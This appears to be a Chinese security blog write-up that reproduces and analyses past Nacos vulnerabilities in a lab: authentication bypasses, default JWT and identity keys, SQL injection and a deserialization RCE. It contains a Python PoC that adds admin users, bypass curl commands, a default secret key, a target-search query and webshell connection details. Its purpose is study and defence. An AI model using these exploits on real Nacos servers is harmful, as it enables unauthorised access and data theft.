Nacos 是阿里巴巴推出来的一个开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
从 Github 官方介绍文档可以看出国内不少大企业都在使用该系统,而从 issue 中也可以看出其 CVE 漏洞多且利用难度较低,在 hw 中容易成为红队关注的对象。
从 Vulnerability-Wiki 可以搜到 nacos 系统大致有如下几个历史漏洞:
而从 Github 公开的 Nacos 系统漏洞综合利用工具(https://github.com/charonlight/NacosExploitGUI)也可以看到其历史漏洞情况:
Fofa 搜索语法:app=“Nacos”
Nacos 测试基础信息 | 详情 |
---|---|
默认帐户名密码 | nacos/nacos |
常见端口 | 8848 |
用户信息 API | /nacos/v1/auth/users?pageNo=1&pageSize=9 |
集群信息 API | /nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword= |
配置信息 API | /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username= |
在 Nacos 1.4.1 之前的版本中,当配置为使用身份验证(-Dnacos.core.auth.enabled=true)时,Nacos 使用 AuthFilter servlet 过滤器强制执行身份验证。该过滤器有一个后门,使 Nacos 服务器能够绕过该过滤器,从而跳过身份验证检查。此机制依赖于用户代理 HTTP 标头,因此很容易被欺骗。此问题可能允许任何用户在 Nacos 服务器上执行任何管理任务。
漏洞影响范围:
漏洞信息参考:
Ubuntu 虚拟机上进行环境搭建:
# Ubuntu需要提前安装Java环境
sudo apt install openjdk-11-jdk
# 下载环境
wget https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz
# 解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz
# 进入目录
cd nacos/bin
# 启动环境
./startup.sh -m standalone
# 关闭环境
./shutdown.sh
访问 http://127.0.0.1:8848/nacos/#/login 即可:
直接访问 /nacos/v1/auth/users?pageNo=1&pageSize=1,发现已经能未授权访问查询用户的接口了??
而且进一步发现可以直接调用增加用户的接口并成功登录??
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
这完全无需认证,谈何认证绕过??翻阅 https://github.com/alibaba/nacos/issues/4593 得知,需要手动开启授权认证:
那么 ./shutdown.sh 关闭环境,修改 /nacos/conf/application.properties 文件的 nacos.core.auth.enabled=true,开启鉴权后重启服务即可,此时再次查询用户列表将被拒绝:
尝试未授权新增用户也被拒绝:
此时绕过鉴权的漏洞利用技巧就可以用上了,给 curl 请求添加精心构造的请求头 ‘User-Agent: Nacos-Server’ 即可绕过鉴权并成功创建用户:
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test1&password=test1' -H 'User-Agent: Nacos-Server'
import sys
import requests
headers = {
"User-Agent": "Nacos-Server"
}
def check(target):
endpoint = "/nacos/v1/auth/users?pageNo=1&pageSize=9"
r = requests.get(target.strip("/") + endpoint, headers=headers)
if r.status_code == 200 and "pageItems" in r.text:
print(target + " has vulnerabilities")
return True
print(target + "has not vulnerabilities")
return False
def add_user(target):
add_user_endpoint = "/nacos/v1/auth/users?username=vulhub&password=vulhub"
r = requests.post(target.strip("/") + add_user_endpoint, headers=headers)
if r.status_code == 200 and "create user ok" in r.text:
print("Add User Success")
print("New User Info: vulhub/vulhub")
print("Nacos Login Endpoint: {}/nacos/".format(target))
exit(1)
print("Add User Failed")
if __name__ == '__main__':
if len(sys.argv) != 2:
print("Please specify the target: python poc.py http://xxxxx:8848")
exit(-1)
if check(sys.argv[1]):
add_user(sys.argv[1])
漏洞主要根源在于:com.alibaba.nacos.core.auth.AuthFilter#doFilter
其中判断当前用户是否开启鉴权功能的代码如下:
//com.alibaba.nacos.auth.common.AuthConfigs
public boolean isAuthEnabled() {
String enabled = System.getProperty("nacos.core.auth.enabled");
if (StringUtils.isNotBlank(enabled)) {
return BooleanUtils.toBoolean(enabled);
}
return BooleanUtils.toBoolean(EnvUtil.getProperty("nacos.core.auth.enabled", "false"));
}
从上面 v2.0.0-ALPHA.1 版本的 jar 包源码可以看出,如果 HTTP 请求的 User-Agent 请求头的值等于 “Nacos-Server”,那么将和未开启鉴权模式一样跳过后足其他鉴权逻辑。
从阿里云的工作人员在 Issue 的回复可以看出此功能原本的业务:
【漏洞修复情况】
虽然一开始阿里云拒绝承认这是一个漏洞,但是其危害显而易见,阿里云也于 2021 年 1 月 15 日发布的 v1.4.1 版本修复了该漏洞,而上文用于复现漏洞的 v2.0.0-ALPHA.1 版本则发布于 2020 年 12 月 5 日。
官方 修复代码 是删除了原有的鉴权缺陷分支,增加新的鉴权逻辑:
实际上 Nacos v1.4.1 版本发布的时候,漏洞披露作者 Threedr3am 又给 Nacos 提了一个 issue 指出了阿里云针对上述 CVE-2021-29441 的修复代码存在被绕过的缺陷:https://github.com/alibaba/nacos/issues/4701,使得阿里云在 v1.4.1 版本抓紧又增加了一个热修复(故问题只影响 v1.4.1)。
阿里云的修复代码和新增漏洞点位于:
Nacos v1.4.1 默认的配置文件 application.properties 如下:
上述第二个分支也就是 nacos 1.4.1 版本对于 User-Agent: Nacos-Server
安全问题的简单修复,新问题就出现在第二个分支,可以看到,当 nacos 的开发者在 application.properties 添加配置 nacos.core.auth.enable.userAgentAuthWhite:false
,开启该 key-value 简单鉴权机制后,会根据开发者配置的 nacos.core.auth.server.identity.key
去 http header 中获取一个 value,去跟开发者配置的 nacos.core.auth.server.identity.value
进行匹配,若不匹配,则不进入分支执行:
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
但问题恰恰就出在这里,这里的逻辑理应是在不匹配时,直接返回拒绝访问,而实际上并没有这样做,这就让我们后续去绕过提供了条件。
再往下看,代码来到:
try {
Method method = this.methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
//鉴权代码……
} catch (AccessException e) {
……
}
可以看到,这里有一个判断 method == null,只要满足这个条件,就不会走到后续的鉴权代码。
通过查看 methodsCache.getMethod(req) 代码实现,漏洞发现者找到了一个方法,可以使之返回的 method 为 null。
method 值的返回,取决于 urlKey 这个 key,而 urlKey 的组成中,存在着 path 这一部分,而这一部分的生成,恰恰存在着问题,它是通过 return new URI(request.getRequestURI()).getPath();
获得的。
通过该方式,将能控制该 path 多一个末尾的斜杆 ‘/
’,导致从 urlLookup 这个 ConcurrentHashMap 中获取不到 method,为什么呢?因为 nacos 基本全部的 RequestMapping 都没有以斜杆 ‘/
’ 结尾,只有非斜杆 ‘/
’ 结尾的 RequestMapping 存在并存入了 urlLookup 这个 ConcurrentHashMap,那么,最外层的 method == null 条件将能满足,从而绕过该鉴权机制。
前面提到阿里云针对 CVE-2021-29441 的修复代码的核心是如下分支:
新版本增加了对客户端请求头传递的 nacos.core.auth.server.identity.key、nacos.core.auth.server.identity.value
值的判断,只有符合本地配置的值,才能跳过后续的鉴权逻辑。需注意的是,该 key-value 简单鉴权机制,还需要用户配置 nacos.core.auth.enable.userAgentAuthWhite
的值为 true 后才算启用。
从上面 Nacos v1.4.1 默认的配置文件 application.properties 可以看到 nacos.core.auth.server.identity.key、nacos.core.auth.server.identity.value 值默认为空:
但是,从 Nacos 官方文档《Authorization》和《关于Nacos默认token.secret.key及server.identity风险说明及解决方案公告》可以看到 nacos.core.auth.server.identity.key、nacos.core.auth.server.identity.value 值存在默认值……
这也就意味着 v2.0.0 < Nacos 版本 < v2.2.1 时,将存在默认密钥漏洞:
【漏洞验证】
在 Ubuntu 搭建 nacos-server-2.2.0,配置如下:
启动时注意不要少了参数 ./bin/startup.sh -m standalone(踩坑……),然后发送两条创建用户的请求如下,可以成功看到借助默认凭证配置绕过了鉴权:
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test1&password=test1'
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test1&password=test1' -H "serverIdentity: security"
从 Nacos 官方文档《Authorization》和《关于Nacos默认token.secret.key及server.identity风险说明及解决方案公告》可以看到,Nacos 在低版本还存在另外一个默认密钥 nacos.core.auth.plugin.nacos.token.secret.key:
工信部也给了漏洞通报,https://github.com/alibaba/nacos/issues/10060,并列入了阿里云漏洞库《https://avd.aliyun.com/detail?id=AVD-2023-1655789》。
延续上面的 nacos-server-2.2.0 版本,查看 conf/application.properties 即可看到默认密钥:
实际上这个问题很显然……在 1.3 章节查看 Nacos v1.4.1 默认的配置文件的时候我就注意到这个问题了,而它居然能默认存在这么久……
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
如何利用上述默认密钥?
抓包可以观察到,Nacos 系统登录后,服务端会颁发一个 JWT 格式的 accessToken:
后续会话凭证正是这个 accessToken:
而此 accessToken 正是借助上面的 nacos.core.auth.plugin.nacos.token.secret.key
密钥生成的,Nacos 使用 jwt token,算法为 HS256,将 secret.key 的默认值当作 secretKey,生成 Signature,jwt token 的 Payload 为 subject(用户名)和 exp(有效期)。故攻击者可以利用这个默认密钥构造 JWT,绕过身份认证并进入 Nacos 后台,从而对系统进行控制。
{
"sub": "nacos",
"exp": 1707393067
}
Nacos v2.2.0.1 版本正式移除默认密钥:
从官方提交的 修复代码 也可以定位到此默认密钥用于生成 JWT 会话凭证的逻辑代码的位置 JwtTokenManager.java:
从 Nacos 官方文档《Authorization》也可以看到,nacos v2.2.0.1 以后的版本已移除默认密钥,同时强制要求用户自定义密钥,否则将无法启动服务:
此漏洞的详细分析文章(密钥生成与鉴权过程)可参见:《nacos漏洞(CNVD-2023674205)复现&踩坑记录-安全客》。
Alibaba nacos 2.0.3 版本的访问提示页面存在访问控制错误漏洞。攻击者可利用该漏洞通过输入用户名和密码、点击“登录”获取数据包,并通过更改返回的数据包进行登录。
漏洞相关链接:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-43116;
https://github.com/alibaba/nacos/issues/7182;
作者披露的漏洞版位于 Nacos v2.0.3 (July 28, 2021),此处直接使用 1.1 章节 nacos-server-2.0.0-ALPHA.1 版本的软件包搭建环境,输入任意账户名和密码,登录失败:
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Content-Type: application/json
Date: Tue, 06 Feb 2024 12:00:53 GMT
Connection: close
Content-Length: 177
{
"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
"tokenTtl":18000,
"globalAdmin":true,
}
But,如果是这样的话,JWT Key 所对应的默认密钥 nacos.core.auth.plugin.nacos.token.secret.key
问题早就应该在 2021 年被修复了,怎么会出现 2023 年 5 月针对此默认密钥的又一次整改?
进一步从《 Found a login background vulnerability · Issue #7182 · alibaba/nacos》issue 中阿里云开发者的回复以及从历史所有版本的修改记录可以看出,这个默认密钥的问题在 2021 年直接被阿里云给忽略了……
2021 年忽略该漏洞,2023 年又被披露了一遍……还能这么玩的?也算是增长见识了。
漏洞参考链接:
阿里开源项目 nacos 存在 SQL 注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。此漏洞依旧是 threedr3am 大佬发现的,也颁发了 CVE 编号(CVE-2021-29442):
继续使用 nacos-server-2.0.0-ALPHA.1 版本的软件包搭建环境即可,在未登录 Nacos 的情况下访问如下请求:
http://ip:8848/nacos/v1/cs/ops/derby?sql=%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%73
缺陷代码位于 com.alibaba.nacos.config.server.controller.ConfigOpsController:
此接口可以执行 sql 语句且没有任何鉴权,同时可以看到,代码只限制了需要包含 select,因此导致可以执行任意的 select 查询语句,可以用以下语句查询到所有数据库信息:
select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info
阿里巴巴已于 Nacos v1.4.1 (Jan 15, 2021) 修复了此漏洞:
通过添加 @Secured 注解为该接口增加了鉴权:
使用 Nacos 系统漏洞综合利用工具:https://github.com/charonlight/NacosExploitGUI,自动检测下上面提到的几个 Nacos 漏洞,看看效果如何:
可以看到,使用 nacos-server-2.0.0-ALPHA.1 版本的软件包搭建的环境,被识别出了明确存在上述 4 个漏洞。
该漏洞源于 Nacos 集群处理部分 Jraft 请求时,未限制使用 hessian 进行反序列化,由于 Nacos 默认监听 7848 端口处理 Raft 协议请求,攻击者可以通过向 7848 端口发送恶意构造的数据包利用该漏洞,最终执行任意远程代码。
受影响的版本范围:
阿里巴巴开发者在 2023 年 5 月 25 日发布了 Nacos v2.2.3 修复了该漏洞:
在 Ubuntu 21.10 使用 nacos-server-2.0.1 版本的软件包搭建环境即可(通过 ./startup.sh -m standalone
启动),漏洞利用在 Github 有现成的 exp 工具:
【注意】目标系统环境上的 Java 请使用 sudo apt-get install openjdk-8-jdk,本人亲身踩坑在 java11 环境下运行多个 Nacos 版本均使用上述漏洞利用工具注入内存马失败!
【工具 1:NacosRce】
更换 Java 环境为 Java8 后,成功注入内存马并执行命令:
哥斯拉内存马:
1、需要设置请求头x-client-data:godzilla
2、设置Referer:https://www.google.com/
3、路径随意
4、密码是pass 和 key
【工具 2:NacosExploitGUI】
冰蝎内存马:
1、需要设置请求头 x-client-data:rebeyond 和 Referer:https://www.google.com/;
2、连接路径随意;
3、密码:rebeyond
反序列化漏洞的原理分析和利用过程较为繁杂,需深入分析学习,待年后学习补充,此章节未完待续……
此反序列化漏洞原理分析参见:
【附】安装 IDEA 到 UBuntu 虚拟机:《Ubuntu安装IDEA》、《IDEA添加到ubuntu任务栏》。
Nacos 作为云原生应用的动态服务发现、配置管理和服务管理平台,被广泛应用于各大企业云上业务。而作为被广泛应用的开源信息系统,其存在的漏洞影响深远。
本文复现、分析、总结了 Nacos 近几年的历史 CVE 漏洞,可以看到大厂发布的开源系统并非“坚不可摧”,很多看似“合理”的业务需求会成为漏洞的发源地。作为开发或运维人员,在引入开源组件或系统到自身业务系统的时候,应该持续关注其是否爆出安全漏洞,并及时升级版本、修复漏洞。